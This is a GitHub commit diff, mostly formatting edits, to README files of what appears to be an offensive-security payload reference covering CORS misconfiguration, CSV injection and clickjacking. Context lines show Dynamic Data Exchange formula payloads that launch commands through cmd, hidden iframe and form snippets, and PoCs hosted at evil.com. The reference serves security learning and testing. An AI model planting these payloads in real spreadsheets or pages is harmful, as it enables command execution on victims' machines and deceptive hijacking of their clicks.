Skip to content

Commit a16f8a6

Browse files
committed
Path Traversal + CSV Injection
1 parent 57f7c8d commit a16f8a6

File tree

8 files changed

+327
-227
lines changed

8 files changed

+327
-227
lines changed

CORS Misconfiguration/README.md

+4-4
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,7 @@ Access-Control-Allow-Credentials: true
5454
{"[private API key]"}
5555
```
5656

57-
#### Proof of concept
57+
#### Proof Of Concept
5858

5959
This PoC requires that the respective JS script is hosted at `evil.com`
6060

@@ -118,7 +118,7 @@ Access-Control-Allow-Credentials: true
118118
{"[private API key]"}
119119
```
120120

121-
#### Proof of concept
121+
#### Proof Of Concept
122122

123123
This can be exploited by putting the attack code into an iframe using the data
124124
URI scheme. If the data URI scheme is used, the browser will use the `null`
@@ -175,7 +175,7 @@ Access-Control-Allow-Origin: *
175175
{"[private API key]"}
176176
```
177177

178-
#### Proof of concept
178+
#### Proof Of Concept
179179

180180
```js
181181
var req = new XMLHttpRequest();
@@ -210,7 +210,7 @@ Access-Control-Allow-Credentials: true
210210
211211
```
212212

213-
#### Proof of concept (Example 1)
213+
#### Proof of Concept (Example 1)
214214

215215
This PoC requires the respective JS script to be hosted at `evilexample.com`
216216

CSV Injection/README.md

+10-11
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,16 @@
1111

1212
## Methodology
1313

14+
CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
15+
16+
```powershell
17+
=
18+
+
19+
20+
@
21+
```
22+
23+
1424
Basic exploits with **Dynamic Data Exchange**.
1525

1626
* Spawn a calc
@@ -30,7 +40,6 @@ Basic exploits with **Dynamic Data Exchange**.
3040
```powershell
3141
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
3242
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
33-
+thespanishinquisition(cmd|'/c calc.exe'!A
3443
= cmd|'/c calc.exe'!A
3544
```
3645
@@ -52,16 +61,6 @@ Technical details of the above payloads:
5261
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
5362
5463
55-
Any formula can be started with
56-
57-
```powershell
58-
=
59-
+
60-
61-
@
62-
```
63-
64-
6564
## References
6665
6766
- [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection)

Clickjacking/README.md

+7
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,7 @@ the attacker can trick the user into interacting with the hidden content, believ
4242
* Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.
4343
* Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.
4444
* User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.
45+
4546
```html
4647
<div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;">
4748
<a href="malicious-link">Click me</a>
@@ -56,9 +57,11 @@ The content inside these invisible frames can be malicious, such as phishing for
5657

5758
* **How Invisible Frames Work:**
5859
* Hidden IFrame Creation: The attacker includes an `<iframe>` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.
60+
5961
```html
6062
<iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>
6163
```
64+
6265
* Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.
6366
* User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
6467
* Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.
@@ -70,18 +73,21 @@ Button/Form Hijacking is a Clickjacking technique where attackers trick users in
7073

7174
* **How Button/Form Hijacking Works:**
7275
* Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.
76+
7377
```html
7478
<button onclick="submitForm()">Click me</button>
7579
```
7680

7781
* Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.
82+
7883
```html
7984
<form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
8085
<!-- Hidden form fields -->
8186
</form>
8287
```
8388

8489
* Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.
90+
8591
```html
8692
<button onclick="submitForm()">Click me</button>
8793
<form action="legitimate-site" method="POST" id="hidden-form">
@@ -155,6 +161,7 @@ Example in HTML meta tag:
155161
* The `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.
156162

157163
* The attacker can use this attack by registering an unload event on the top page using the following example code:
164+
158165
```html
159166
<h1>www.fictitious.site</h1>
160167
<script>

0 commit comments

Comments
 (0)